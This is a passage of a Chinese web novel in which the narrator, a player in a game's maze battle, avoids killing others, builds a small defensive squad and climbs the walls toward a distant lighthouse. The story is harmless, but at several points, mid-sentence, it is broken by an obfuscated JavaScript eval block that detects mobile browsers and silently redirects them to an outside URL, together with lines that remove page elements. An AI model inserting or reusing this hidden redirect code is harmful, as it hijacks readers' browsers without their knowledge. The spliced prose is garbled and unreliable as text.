能参加特典的玩家都是对游戏有一定忠诚度的，要不然也不会服从你们这些奇葩的反互联网规则，拿出那么长的时间和精力消耗在这场活动中。编筐编篓，重在收口。我觉得项目组应该不至于作死，在这个节骨眼上恶心人，如果这样的话，他们在前三个区域中投入的创作又有什么意义呢？ 无论如何，我是不会选择通过击杀敌对阵营玩家来获得奖励机会的。开什么玩笑？如果我打死的人是镜舟、小星或者唯月呢？我的成功难道就一定要以牺牲队友的获胜机会为代价？天知道小星有多渴望拿到最终的奖励，我帮不了他就算了，怎么可以再成为他的敌手。 所以，我注定要走寻找迷宫出口这条路。在这期间，我还要竭尽全力保住自己的性命。 此时此刻，除了退出游戏的选项以外，无法调用任何设置。都这个时候了，眼瞅着就能完成特典，到底是谁会想不开放弃游戏啊。连我这样磨磨唧唧的人都恨不得使出最后一丝力气看看到底能迎来什么结局，难道说辛辛苦苦这么久，还会那么容易放弃吗！ 这样的选项设置，意味着我无法设定技能、选择武器、使用道具，我想到过青龙门的时候获得的技能点，好家伙，只用了那么一次就再也没用过。什么进攻、防御、治疗、敏捷，无论闯过多少关，竟然也不能在这个时候让自己有什么技能上的积累，传统的游戏不是这样吧，不是说即便散尽财富，倾家荡产，学到的技能也将跟随人物一辈子的吗。 不过也好，我用不了，别人也用不了……大家都一样，倒也公平。 现在我所拥有的也就是这具躯体了，我环视周身，新发现了在右腿外侧还固定了一个枪套，其中配备了一把手枪，我试了一下，拿起手枪的时候，步枪将被收纳到背后。我把浑身上下摸了摸，除了这两把枪支，我真的是身无长物了。 新迷宫的高墙富于变化，起初看到的是单调的青灰色砖石墙面，让人感觉如同被关进了监狱一样，但接着走下去以后，会发现墙面并非一成不变，反而是如同将各种风格的建筑进行了混搭一般，有的时候会看到宫墙琉璃瓦，有的时候则是褐色花岗岩，各式各样，不一而足。 墙面并非光秃秃一片，时不时还能看到壁龛，随着墙面风格的变化，有的时候壁龛里放着瓷器、墙上挂着山水画、仕女图、行楷草隶的书法，有时侯则挂着知名的油画，以我的见识，除了认出《蒙娜丽莎的微笑》，梵高的《星空》《向日葵》，还有《戴珍珠耳环的少女》以外，剩下大多就只是看一眼略微眼熟的程度，叫不出名字来。我不认识它，它也不认识我。 迷宫内照明光源不再单一，除了白色方格发亮以外，墙壁上偶尔会挂着走马灯、枝形吊灯等繁复的装饰，不过墙面灯光出现的频率不高，很多时候，迷宫内还是有些晦暗。 我已经向前走了有一会儿了，没有遇到分岔，也没有遇到别的玩家。 难道所谓的挑战就是这么简单？刚才介绍的内容实际看来都是雷声大雨点小？根本没有想象中的那么需要争个你死我活的程度？ 一声枪响打破了寂静，已经有玩家们相遇了。 我感觉心脏咚咚直跳，本能地把身体贴在最近的墙体上，屏息凝神，希望不要被别人看到。 为了找到迷宫的出口，我必须向前进，可是前进的过程中，就十分有可能成为别人击杀的目标。我现在是黑方，但愿即使前方会遇到什么人，也最好能是同一个阵营的。 我贴着墙边走，每次经过路口的时候都先探头张望，尽量把自己呼吸声音压得很低。枪声响起得越来越频繁，看来越来越多的玩家们在迷宫里相逢，这交战的声音忽远忽近，我竖起耳朵，仔细倾听。如果枪声离我很远，我脚步就迈得大一点，如果听起来已经很近了，我脚下就格外谨慎。 第一次和另一位玩家迎头碰面的时候，我根本来不及反应。那人唰的一下从拐角处冒出头来，远处的枪声掩盖了他的脚步声，我没来得及发现。我们俩同时注意到了对方，他很快地就把枪口对准了我，我第一时间观察到他的袖章与我同色，紧接着我马上两手高举，并出声示意，“自己人，自己人。” 那人好像没听到一样，没有改变瞄准我的姿势，我又用空着的那只手，指了指自己的袖章。 我想他终于能明白我的意思了吧，因为他慢慢地把枪移开，但是我注意到他的手指还是放在扳机上。 危险警报初步解除，看到别的玩家的时候，我发现，原来我们的着装都是戴着覆面的，眼睛的位置也都配上了护目镜，我们无法通过衣着判断男女，看不到对方的长相，就算小星他们站在我的面前，我也识别不出来，毕竟身高相当的人太多了。 穿上作战服，一个人的身份除了战士，别无其他。 我意识到既然我不打算靠击杀别人这条路获取奖励的话，那么拿着枪是不是在别人看起来仍是很有威胁性。我把举枪的那只胳膊慢慢放下来，枪口朝下。对面那人右手继续执枪，左手迅速地朝我挥了几下，那意思似乎是叫我和他一起出发？ 我愣在原地，那人转身就走，见我没有跟上来，又回头朝我招手示意。 毕竟我们都是黑方阵营，可能他想要协同作战，多个帮手多点胜算？那我也就不客气了，与其我一个人寻路，多一个人总能增强点安全感吧。我快速跑到他的身边，相当于是组了一个临时队伍。 我继续留心周围的动静，听到有脚步朝我们所在的方向奔来，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面前的人嘭的一声摔倒在地，他身体被子弹贯穿的位置衣服碎裂，我在背后那破损之处，看到一个不大的伤口，这并不是一个普通的伤口，因为我看不到一滴血液，那更像是一个黑黢黢的洞。更让我意想不到的是，自这个洞中快速生长出枝蔓，枝蔓覆盖住人的身体，长出叶子，最后，我看见有一枝鲜红的花朵自这个洞中生长出来，旁若无人地绽放。 这个画面明明并不血腥，却看得我毛骨悚然。 我的那位临时队友，一步步走了过来，一串数字编号从倒下的这人的左手手掌飞出，化作一束白光落入队友的手中。刚才那两枪原来是他开的，认识到这一点后我懊恼极了。 我并不想击杀任何人，怎么无意中造成了别人的死亡，如果我不用枪托攻击他，是不是他就不会死，我难道是在给队友制造机会？话说回来，队友也是在帮我，毕竟倒下的这人本来就视我为他即将到手的分数，可惜队友的这种帮法并不能令我开心。 一切根本就不是我的本意，但我又没法洗掉自己身上的罪责。我不想和任何人组队了，事态的发展有违我的初衷。 我没有和临时队友打招呼，就快速闪人了。 刚才的袭击证明我的策略有效，我可以在不击杀对手的前提下逃之夭夭，我继续在脑中勾勒路线图，找出口，眼下最重要的事情就是找出口。 53. 第 53 章 前方，我遇到进入新迷宫以来的第一个丁字路口，两个选择，一左一右，还是老办法，一个一个地去试吧。 “我们还是各走各的吧。”我回头跟临时队友说道。 他跟着我亦步亦趋，并不能理解我想与他分道扬镳的诉求，和刚开始进入游乐岛的时候一样，在这个区域，玩家可能根本就没办法跟除队友以外的任何人交流，我说了几句，他都不闻不问。也许他是真的听不见，是我一直在自言自语而已。 就像头上的覆面，我试了试，这是无法摘掉的。所以说在整个玄武区域里，游戏设定的要义在于，我没办法和其他玩家进行语言上的交流。迷宫里，谁也看不到对方真正的样子，大家都是一个模子刻出来的，除了阵营不同以外，再找不到什么有效的区分了。 时不时听到的枪声还是会扰乱人的心神，我总感觉自己已经是命悬一线了，不知道什么时候又要与别人交手。在这种心理压力下走迷宫，要不断提醒自己，必须集中注意力。 然而新迷宫的难度竟然还加强了，我方才选择的是左边的那条路，这刚转了两个弯就发现，前边又出现了一个丁字路口，我还要再次进行选择。 这相当于是一道数学题，选择左边，沿着左边走下去，还会再次出现左边和右边两种选择。这简直就是迷宫套娃！ 我只恨手边没有纸和笔，没办法把经过的路口、选择的道路依次记下来，不然再多遇到几次这种岔路，我的脑袋怎么可能记得住啊。很有可能越走越迷糊，如果自己都忘了哪条路走过，哪条路是死胡同，以至于最终甚至记不清自己所在的位置，那我岂不是要在这一个又一个的岔路里彻底迷失掉？ 我咬着牙，一脸不情愿地再次做路口选择题，从其中一个岔路口忽然钻出来一位白方玩家，一招鲜吃遍天，我还是用老招式，像一个泥鳅一样地绕着他转，好在相遇的位置灯光黯淡，从这个人僵硬的肢体反应来看，他显然也没预料到会有人和他在这里碰面。 是我先发现的对方，等他察觉时再开枪已经晚了，子弹打中壁龛处的蓝紫色瓷瓶，瓶身炸裂，瓷片落了一地。我绕到他的侧身一脚踹到他的膝盖腘窝处，他本人没办法体会这种痛楚，可他游戏里的身体已经站立不住。 我击打他的手腕，迫使他无法抓握武器，步枪掉在地上。 这次我格外注意，用眼角余光扫视临时队友，他果然又趁机想要击杀被我短暂制服的敌方。 在之前被他跟随的时候，我曾有某一瞬间觉得，难道面具下的他会是镜舟，难道他是为了保护我而出现在我身边的？ 可是每次当我们要经过新的路口，我都会发现他特意放慢脚步，呆在我的后面，等我走进去几步确认安全的时候，他再尾随而进。我真的要不惮以最大的恶意来揣测一下他的心理了——他分明是拿我当试验道路安全性的小白鼠了啊！镜舟怎么可能会像他这样鬼鬼祟祟。 他特地与我保持若有若无的距离，就是为自己保留一定的安全区域，比如眼下我与这个敌手相遇，在我和对方较量的关键时刻，我是丝毫看不见他的身影，等我一卸下对方的武器，他就立马不知道从哪里冒出来，开始要抢人头了。 这给他聪明的啊！我最受不了这样的人了，你到底是不是真的聪明我暂且不说，我拜托你能不能不要把别人都当成大傻子啊！我没心思和你抢分数，我的目标只是活命，可我并不想给你当苦力和帮凶好吗？更何况，我根本不愿意看着这些被我制服的人被你收割！ 我带着这个失去武器的敌方一起闪避到紧邻的路口一侧躲藏起来，可是我这位临时队友，算了，恐怕他也不配队友这个称呼，这位大聪明说不定还以为我要把这个人的分数独享呢。 他很快就跟了上来，我微微露出脑袋朝他看了一眼，他发现我的目光后，倒是一点没客气，连续地朝我们躲藏的方向射击，完全不在乎打中的那个人是敌方还是我。 他看似是要用火力压制我们，不让我们从这里出现对他展开反击，可按我的猜测，他这么做说不定纯纯就是为了泄愤，毕竟，如果不是因为我刚才的干预，他又可以轻轻松松获得分数了。 我看着被他击碎的墙面，迸射出的碎石纷纷落在地面上。他如果真的胆子大，这个时候就走进来了，可是他心里说不定也有忌惮，眼下他是一个人，不敢和我们两个人对线。 我转身瞅了瞅身旁这位敌方玩家，他倒是挺淡定的，和我大眼瞪小眼。 “别瞅着我了，人马上就要追上来了。赶紧跑吧。”我赶紧起身，想要继续往迷宫深处逃窜，也懒得管他了，可这人却又拉住了我，指了指我的手。 我低头一看，我正牢牢握着步枪的枪口，反而是把枪把朝外，也是，用枪把打他的关节比较顺手嘛，反正我也没打算朝别人开枪，所以我索性就这么倒着拿枪了。 在我思忖的这一刻，枪声乍一停止，我听到纷乱的脚步声。随后，突然又爆发出激烈的枪响，非常混乱，显然不是一人射击所产生。枪声比刚才听到要远一些，大聪明没有朝我们所在的方向继续开枪，我紧盯着路口，无论是靴子还是衣服，他的身影竟然一点也没露出来，他不选择来捉我们了吗？ 我又一次探头探脑地蹲下身子往外观察，好巧不巧地看到一朵红艳艳的花自大聪明的前额一点一点盛开，他根本没走远几步，整个人仰躺在地面上，越过他的身躯能看到几米远的地方还倒下了两具尸体，刚才这里好像发生了大乱斗，除了唯一的胜者存活以外，其他人统统领了盒饭。 那位胜者背对着我，三具尸体左手中的编号化成一道道白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712108|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光向他站立的地方汇聚，他掌心一握，这倒下的玩家们仅存的数字痕迹也就此终结。 远方又有枪声响起，胜者闻声马上转头，像是要展开狩猎的豹子，双手立即做好持枪姿势，向着声音所标示的方向果断前行。他看起来并不在意走不走回头路，枪声是他的领路人，他也许是选择了一种与我截然不同的闯关目标——尽可能地得到击杀分数，努力跻身排行榜前列，只要做到这一点，奖励自然能够到手。 我惊讶的倒不仅仅是他这能够以一敌三的精湛枪法，我大张着嘴巴震惊的原因在于，我刚才清清楚楚地看到这个人的袖章，它明明是与我同样，白底黑线，他既然是黑方，那么为什么击杀掉同样是黑方的大聪明，也可以获得分数啊？这不符合游戏规则吧！说好的必须击杀敌对阵营人员才算数不是吗？ 我整个人都茫然了，眼神都开始涣散起来，我身旁的那位玩家过来拽我的胳膊，我就着这个劲儿迷迷糊糊地站起来。我用右手去触碰左臂上的袖章，不断摩挲着，猛然发现这袖章居然可以沿着边缘揭下来，就像是魔术贴一样，而袖章的背面如同双面绣一样是黑底白线，我把袖章翻过来，啪的一下盖在刚刚取下来的位置上。 很好！这么一操作，我的袖章就变成白方了。弄了半天，所谓的敌对是薛定谔的敌对……这是什么狗屁设置，我真是忍不住要骂街了。 这么搞下去，岂不是打谁都可以获得分数了吗？ 大聪明说不定也没想到会有这么一出，所以被对方占得了先机。本来我们这黑色的作战服在夜色中就有些模糊，袖章的大小和图案设计也不够醒目，这位胜者也许在之前和别人对线的时候误杀了同阵营玩家，误打误撞发现这样也能得分，于是就一发不可收拾。 服从规则的大聪明吃了瘪，这谁又能想得到呢，我都有点同情他了。 我自己一通分析后，觉得很有可能事情就是这么发生的，然而，我还得继续往前走，只是这一次，更得小心了，因为所见的每一个活人都有可能把我当成移动的分数，乐衷于取我首级…… 我一步一步慢慢离开案发现场，重整士气，刚要跑起来的时候，没成想身边这位曾经的敌对玩家又一次把我拽住，他是怎么回事呢？到底要和我说啥呀，我疑惑地看着他。 只见他左手拉着我，右手慢慢地靠近腿上的那个枪套…… 我吃了一惊，糟了，把手枪这茬给忘了。我眼睛光速测算我与他身体之间的距离，我感觉，他要是在这个时候掏出手枪给我来上一个花生米的话，我那些踹人踢人的招数恐怕没时间施展出来，主要是我所在的位置也太暴露了，一点也不隐蔽啊。 但我又转念一想，他要是真想把我咔嚓了，在我偷看别人的时候，他完全有充足的时间动手啊，何必等到现在。 54. 第 54 章 我不知道该不该赌一把，直觉上我认为，眼前这个人是没有威胁的，当然，在几分钟前，他确实差点打中我。 我这时才注意到，他的右侧肩膀上，好像什么时候受了枪伤，因为我看到在他肩膀的黑色伤口上竟然长出了一截藤蔓，很细微，如果不仔细看，基本上看不出来，还好，这次植物的长势没有那么快。 他仿佛也察觉到我愣怔的样子，于是停下手中的动作，收回左手，朝我竖了个大拇指。 “你是小星吗？”我明知道这几乎没有可能，还是忍不住惊呼道。 “难道是唯月？”我到现在还是没有放弃再一次和队友们相遇的希望。 他的大拇指向我弯曲了两下，然后左手又慢慢放下来。 我真是不明白他是什么意思，只能摇了摇头，“看不懂。” 他向前走了几步，和我并肩站在一起。我指了指他的右肩，他偏过头去看了一眼，不像很在意的样子。 他面向我，右手动作缓慢地指了指自己的枪套，而后左手以拇指、食指化作手枪的样子，瞄准了自己的右肩。 “猜到了你是被枪打中的，看来，只要不是打中致命位置，人就暂时没事，应该不会挂掉吧。” 不过眼下不是慢慢讨论这些事情的时候，还是赶紧出发吧。 我匆忙点头，想着他这么长时间都没跟我动手，应该就不会把我怎么着了。但我也弄不明白他究竟要干嘛，于是我只能继续找我的路。 我想了想，现在我已经处在迷宫支路的支路里了，但是这条支路还没有走到尽头，我可以跑起来继续验证这条路线，只要没有遇到死胡同，那么脚下的这条路线，就有通向出口的可能。 才跑了没一会儿，又遭遇新玩家。这次比较倒霉，我竟然迎面和人撞上，也许是远处的枪响掩盖了脚步声，又或者是我奔跑久了感觉不再敏锐，在我意识到之前，已经和这个人撞了个满怀。 我赶紧起身想要避免成为对方射击的靶子，同时又想拿枪托朝对方招呼，只是如今正面相遇的时候，我的优势就不明显了，对方一眼就识别了我的攻击方向，他灵巧地躲开、后退，我站稳后还想向着他前进，寻找贴身进攻的机会，但对方始终正面朝向我，我偏左，他偏右，导致我根本无法靠近他。 眼见面前这个人拿稳步枪即将开始朝我射击，这么短的距离，我又能怎么逃窜，人的行动总不会快过子弹吧？何况又是我这样笨手笨脚的躯体…… 但我又不想放弃，既然短时间内跑得离他远一些是做不到了，那不如冲向他，在他扣动扳机之前，把他扑倒也是一个方法吧。 我这么想，便要这么做。那人可能发现了我转变思路，不再试图袭击他身侧，反而是直接往他正面冲，他心里定然也是紧张的，我看到他端着枪的手有些许的哆嗦。 在我即将再次和他扑个满怀前的０.１秒钟，我有信心拦截住他向我开枪的动作，我可以在这千钧一发的时候让他找不到站立的重心，从而失去平衡，这样我就能再为自己争取到一点时间了，恰在此时，我被接连两声刺耳的枪响惊到了。 看来我的想法不奏效，到底还是来不及，我是不是中枪了啊？ 我低头看了看自己的胸脯和腹部，没找到伤口。正要抬头时，听到了金属落地的声音。 眼前那人的步枪落在了地面上，他呆立着，不可置信地看着自己的双手。 他的两只手手掌都中了枪，黑洞洞的伤口中还未出现植物生长的痕迹。 我猛然回头，一个人左手稳稳地端着手枪，气定神闲地走到我们这边。刚才我所看到的出现在他右肩上的藤蔓，已经长出一小片新叶。不得不说，他的枪法是真准啊。 难道他和大聪明一样，在我身后潜伏也是为了抢人头？可果真如此的话，他何必这么麻烦，在这么混乱的时刻，他既然能精准地击中这么细节的位置，那直接把我们送走不是更好吗，还是说，他们需要我这样的一个人当作吸引别人的诱饵呢。 我以前在游戏里过任务的时候，经常会因为任务难度非单人能够完成的限制，而错过一些奖励。那个时候我特别希望有人能和我组队，但是偏偏没有。今天我明明只想自己一个人呆着，却又接二连三，和其他的玩家产生关联。 不料，接下来这位左撇子神枪手的行为却颠覆了我对他的阴暗揣测，因为他并没有把敌人当成获得分数的工具，在击中对方手掌后，他明明可以轻而易举地补刀，可是他却并没有这么做。 他只是在我的身边停住，我看见他艰难地举起右手，但是在手掌举到与胸腔齐平位置的时候，颤抖着，再也举不上去了。他用还握着手枪的左手，指了指自己的右臂，继而将脸转向我，一边摇头，一边挥动左手，像是在说“不行、不行”的样子。 我联想到最初遇到他时，他僵硬的动作状态，那个时候他显然就已经右肩中枪了，只是我没有注意到。我大胆地猜测，随着时间的增加，生长的植物会对他伤口附近的身体部位造成越来越大的行动束缚。 非致命部位若是中枪，虽然不至于让人立即送命，但这一点一滴的行动力损耗，迟早会造成战斗力的降低，就像现实生活中，伤口之处汩汩而出的血液，迟早会带走一个人的生命一般。然而，我的这些想法都是推断而已，也许情况能够更乐观一点，他可以平安坚持到游戏结束。 站在一旁的第三人，显然猜不中我们是什么套路，他不敢试着捡起地上的步枪，他应当已经感觉到双手的抓握能力受到了负面影响，而他的一举一动又在我们的监控范围内，最后他选择仓皇离开，消失在最近的转角。 靠他受伤的双手，他是握不住那仅剩的手枪的。没有了武器，他还能存活多久呢。 我和神枪手就这样无需言语地达成了某种默契，他既然也不以取别人性命为目标，那就和我是同路人了。 左耳边开始时不时传出讯息，警告我的分值名次不断下降。这还用它告诉我嘛！我感觉按照规则这么设定的话，这不就是一个零和游戏吗，最后杀到就剩一个人活着，只有一个人拿奖励。 项目组真的是穷疯了么…… 我负责近战突袭，神枪手在旁协助，对于我处理不了的棘手状况，他就补枪。后来，我也跟他学习，扔掉步枪换手枪，这样效率更高，腾出一只手，行动会更敏捷。 我渐渐总结出一套和别人周旋时快速致胜的招式，我们两人合力，总能成功地让遇到的其他玩家卸掉武器。说来也挺神奇的，我们这个队伍竟然逐渐壮大了起来，有其他人跟随我们，如今也凑成了七人的小分队，我们的行动特点就是防御型前进。 唯一的问题在于，即便我在脑海中标注出一个迷宫地图，不断地标记自己试过的路线，但是要达成寻找到出口的这个目标还是遥遥无期。 这个迷宫似乎就是天生设计得有问题，大量的岔口，一路走下去常常是死路，必须返回重走，有时还会遇到环形墙壁，那更是绕得人两眼发昏，失去方向感。 你永远不知道在这么一个处处是分岔的迷宫里，为什么还会动不动和别的玩家狭路相逢。 我已经长时间地努力调动自己的耐心去走这该死的迷宫，可是越走心越凉，耐心耗尽的结果就是简直想要狠狠地捶打胸口，大透几口气，继而尽情发疯。 “行路难！行路难！多歧路，今安在！” 憋得我是诗兴大发，感觉这句话真是完美地表达了我此时此刻的心情。我靠在墙壁旁，逐渐对这无休无止的对抗和寻觅感到厌倦，这么多的障碍，什么时候是个头啊。 蓦地，我听到什么物体轻声碰撞的声音，我似乎要把背后的什么东西撞倒了，我赶忙回头伸出双手，一座铜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712109|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鎏金文殊菩萨造像落在我的怀中。 我呆呆地与菩萨对视，又抬头看了看方才菩萨栖身的壁龛，一刹那生出妙想，顿觉天地渐宽。我毕恭毕敬地把菩萨安顿在一旁的角落，收起手枪，双手合十，虔诚一拜。之后便尝试借壁龛凹陷之处，手脚并用，往墙壁顶端攀爬。 迷宫的墙壁又能有多高呢，又不是万丈高楼，为什么一定要执着于在墙垣之下作困兽之斗，而不试试逃离樊笼，看能不能换个视角，为我们找到出口。 我使出浑身解数，总是止步于距离顶端还有一臂之遥的高度，一到这里，脚底就无法借力，双手也无法扒住墙沿。 哪怕我后退几步，助跑地往上攀登，增加的高度依然有限，最后又以失败落地告终。只差一点点就抓到了，但怎么试都无法突破这一点点的距离。 难道我的想法是错误的？根本不能通过这种方式到达出口？ 我望着高墙深深地叹气。 神枪手默默地走到墙角，勉力伸出他的右臂，右肩上生长的藤蔓看起来已经较为明显了，他伸出左手，覆盖于右手上。有小伙伴学着神枪手的样子，站在他的对面，继续把双手落于其上。 他们这是在……为我搭梯子？ 我觉得喉头一紧，但还是忍住了这瞬间的哽咽，我狠狠地点了点头，大声地“嗯”了一声，先是借助他们的铺垫，再脚踩壁龛，高举双手，拼劲全力，向上一跃。 成功了！ 这次终于成功了！我双手攀住了高墙的边缘，滑落了那么多次，一旦有机会抓住，我绝对不会松手。 我手脚并用地终于让身体匍匐于墙壁的顶端，小心翼翼地保持平衡，墙的宽度也就大概三公寸，其实不算薄，但是人趴在上面还是要非常小心。 我扫视了下周围，没有站立起来，视野仍旧不太好，不过，至少比在迷宫内转圈强多了，我思考着，如果出口不能一眼看出来的话，朝着东西南北任何一个边缘跑总没错，只要走到迷宫的最外一层，就一定能看到出路。 这次胜利的尝试让我信心大增，完成最终的挑战并获得奖励的这件事情似乎没有那么遥不可及，未来又值得人好好期待了，说起来真是多亏了小伙伴们的慷慨帮助啊。 想到这里，我马上侧过身子，抻着脖子往下看，“来啊，可以上来的！” 我左手扒着墙壁的外侧，稳住身体，伸出右臂，右手尽量往下探，朝他们比了个ＯＫ的手势。 小伙伴们看到我发出的信号，同样很雀跃，他们在地面兴奋地彼此击掌，一阵欢欣过后，继续井然有序地使用这种互帮互助的方式，两人搭梯子，另一人踩着借力上跃，很快又有四个人爬了上来。 地面上还剩两个人，神枪手可能是我们队伍中枪法最好的了，可惜却是唯一受伤的。我看着他指挥剩下的那个搭档做好攀登的准备，自己仍是维持原来的姿势不动，搭起左右手，继续扮演托举他人的角色。 我一直关注着地面的情况，现在仅剩下神枪手还没有和我们汇合了。 我们呆在墙头的这六个人都在紧盯着他，大家调整姿势，腾挪位置，给他留出空间。我蹲下来，身体正对着他所面朝的方向，往下望了望壁龛的位置，算了算他一会儿往上爬要怎么落脚，然后我再次趴在墙顶，身体的一侧则使劲儿往下探，在保证自己不摔落下去的前提下，伸出右臂，张开手掌接应神枪手。 他先是助跑，右臂虽不能高举，但也尽力用右掌撑着壁龛的边缘，好在他的双腿行动力并不受限，再加上我向下伸出的胳膊能减少一些他攀援的距离，谢天谢地，我终于抓住了他高举的左手。 至此，我们小分队整整七个人，终于齐全了。 短短一分钟不到，我们就全部来到了高墙之上，万分幸运，在这段时间，没有遇到其他玩家，我们的行动没有受到任何干扰。 55. 第 55 章 我们努力适应高于地面的环境，学会在墙头站稳脚跟。我们统一丢掉了步枪，轻装简行，着力保证自己的重心稳定。 我慢慢站了起来，位于队伍的最前列，神枪手站在我身后。 第一次有机会，好好地看看这持久地困住我们的地方了。 夜晚的天空无星无月，环视四周，无穷无尽的迷宫蔓延开去，哪那么容易看到尽头。灯火如豆，黑白相间的地面如同棋盘，我却未能清楚地看到其他的人影。随着不时响起的枪声，我看到这棋盘之中有光点明灭。 我极目远眺，想越过这近处的繁杂与争斗，寻觅新的景观。在天地交界处，有一处光芒若隐若现……我定睛细看，从那个方向，仿佛能望到海天的交界处，而这闪耀的灯光，莫不是来自岬角的灯塔？ 我顿时打起精神来，虽然不能明确地找到出口的位置，但是三百六十度巡视周围的视野后，这就是我们能找到的最好的标志物了。向着这个方向进发，无论是靠近灯塔，还是来到海岸线，我们都会有大概率脱离迷宫的限制。 既然做出决定，那就立即出发。我先是拍了拍手，接着高举右臂，向小伙伴们指明那个方向，率先猫着腰在墙顶移动起来。 完全站立目标太大，但既然站在了高处，被别人忽视掉基本上是不可能的，我只能尽量压低身体，在疾走的同时争取不让其他玩家过早地发现我们吧。 从我们所在的位置到达灯塔有很长的一段直线距离，目测就算奔跑起来也要花费不少时间，再者，我们脚踩的地方已经不是地面了，哪那么容易做到如履平地呢，迷宫的墙壁与墙壁之间距离不定，有的间距比较窄，尚能跨越，有的则不行，光是看起来估测一下就比较危险了，谁能知道会不会一不小心就跌回地面。 好在我们毕竟是在游戏里，无论什么高度的跳跃都不至于伤筋动骨，至于对虚拟身体的破坏，也未必有我想得那么悲观，好不容易站到高处，前进的时候抱持基本的谨慎就好了，为了打开局面，还是应当大胆尝试啊。 我尽量选择连续道路，即便因为墙壁走向与我们的目标方向不符，我也会优先选择那种墙与墙之间跨越距离相对较短的路线，为此，稍微绕一点远也没有关系，优先保证安全嘛。 虽然我做计划的偏好是比较谨慎的，但我们的队伍中不乏胆大的人，有一位小伙伴就不愿意舍近求远，即便需要他迈步跨越的间隙比较大，他也不畏惧，而是痛痛快快地往前奔。 我们看着他竟然挑战那么远的跳跃距离，少说也有一米五，但是他最终稳稳地落在对面的墙头上，这让我们备受鼓舞，于是更改路线跟在他的后头。我自己也是试了下才知道，我们站在墙顶上之后的跳跃能力似乎提高了，我当然没有准确的数据证实这一点，但仅仅凭借跳跃时的那种感觉，我就能判定，绝对比我们搭梯子爬墙的时候更有弹跳力。 或者应该更直白地说，一旦我们视线盯准哪个位置，只要距离不是特别夸张的，我们都能跳过去，就像是全体获得了跑酷技能一样。 照这个速度，我们很快就能跑出迷宫了。这不就是妥妥的胜利在望么。 可是有人似乎不允许我们这么轻而易举地闯关成功，因为伴随这个新技能而来的，是游戏对我们的无情曝光。 “编号８６０４１，请您迅速返回挑战区域。”左耳响起提示音。 怎么回事，我不一直都在这该死的挑战区域里吗？ 我看了看队友们，他们也都愣住了，显然我们是同时听到了这个消息。 好不容易想到了这个快速逼近终点的方法，哪那么容易放弃，再说，是谁规定的挑战区域就一定要在高墙之下呢？ 我不想理它，但是心里也不由得打起鼓来。 “警告，请您迅速返回挑战区域。”我没按照它说的话做，继续不管不顾地往前冲，如果几步就能跑到终点就好了，到时候我倒要看看最终怎么判定，是算我犯规所以成绩无效吗？我承认我是有点头铁，在游戏里竟然变得不愿意听话了，不过我也有我的道理，如果我们所采取的跳墙头的升维策略真的有问题的话，游戏为什么不尽早警告我，为什么允许我们爬到墙顶，还增加了我们的跳跃能力。 这些东西不本来就是被他们设计出来的吗，现在又阻止我们这么做，这不是很矛盾吗？ “三，二，一。” 读秒之后，我还是一意孤行，坚决不返回地面。一道白色强光照到我的头顶。我仿佛被头顶上的天空聚焦了一样，那感觉，就像在演一场独角戏，追光灯跟着我，我走到哪里，都无所遁形。 地面上的正方形白色地砖就像有一块被镶嵌在夜空之上一样，我抬眼看去，正是它作为光源，追踪着我的行迹。 我不想被这些外物干扰，仍奔着灯塔而去。小伙伴们竟然也没犹豫，都跟在我的身后跑了起来。也许是终点的诱惑对我们来说太强烈了吧，捷径一旦出现，放弃谈何容易。 之前我们基本上没有和其他玩家正面相遇，这追光灯一出现，我才发现，地面上的玩家数量也不容小觑。我看不出来他们是从哪个阴暗的拐角出现的，只是他们现在的目光都齐齐对准了我们。 我这辈子就没享受过这么多陌生人对我的注意，但在这个环境里，这可不是什么好事情。 有的人发现我们在他们身侧的墙头身轻如燕地跳跃，连忙扒着墙壁想和我们一样爬上来，但在他们之中，没有一个人成功。 我当然也可以就这样一直地看着他们徒劳地攀爬、跳跃，然后无论如何也无法到达顶部。获得特典的奖励是多么难得的事情，只有少部分人独享难道不好吗？只有更多人的失败才能衬托出我们所取得的成绩的不容易不是吗，更何况，这占据制高点的方式是我们自己想出来的，路也是我们自己走出来的，我们根本就没有义务去分享不是么。 我知道，这样的想法常常会出现在我的脑海之中，我指的不仅仅是在这样的游戏里，即便在生活中，我也会有过类似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一声枪响却击碎了我的美梦，我茫然四顾，不知道这是从哪个地方发出的声音，这个声音如同点燃了导火线，地面上还未爬上来的玩家似乎不想再等待有谁拉他们上来。也许从他们的视角看去，这么多明晃晃的靶子在高处乱窜，对他们来说也正是相当有利的形势。我才明白游戏设计的这个探照灯到底是什么目的。 